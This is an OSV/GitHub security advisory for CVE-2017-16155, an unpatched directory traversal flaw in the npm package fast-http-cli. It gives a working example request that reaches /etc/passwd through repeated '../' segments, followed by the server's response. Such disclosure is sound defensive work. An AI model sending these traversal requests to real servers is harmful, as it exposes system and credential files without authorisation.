GHSA-9frq-f867-hgqc

Source

https://github.com/advisories/GHSA-9frq-f867-hgqc

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2018/07/GHSA-9frq-f867-hgqc/GHSA-9frq-f867-hgqc.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-9frq-f867-hgqc

Aliases

CVE-2017-16155

Published

2018-07-23T20:46:25Z

Modified

2023-11-08T03:59:08.136997Z

Severity

7.5 (High) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N CVSS Calculator

Summary

Directory Traversal in fast-http-cli

Details

fast-http-cli is the command line interface for fast-http, a simple web server.

fast-http-cli is vulnerable to a directory traversal issue, giving an attacker access to the filesystem by placing "../" in the url.

Example request:

GET /../../../../../../../../../../etc/passwd HTTP/1.1
host: localhost

and server Response:

HTTP/1.1 200 OK
Date: Thu, 04 May 2017 23:59:18 GMT
Connection: keep-alive
Transfer-Encoding: chunked

{contents of /etc/passwd}

Recommendation

No patch is available for this vulnerability.

It is recommended that the package is only used for local development, and if the functionality is needed for production, a different package is used instead.

Database specific

{
    "github_reviewed_at": "2020-06-16T21:28:25Z",
    "cwe_ids": [
        "CWE-22"
    ],
    "nvd_published_at": null,
    "severity": "HIGH",
    "github_reviewed": true
}

References

Affected packages

npm / fast-http-cli

Package

Name: fast-http-cli; View open source insights on deps.dev
Purl: pkg:npm/fast-http-cli

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Last affected

0.0.8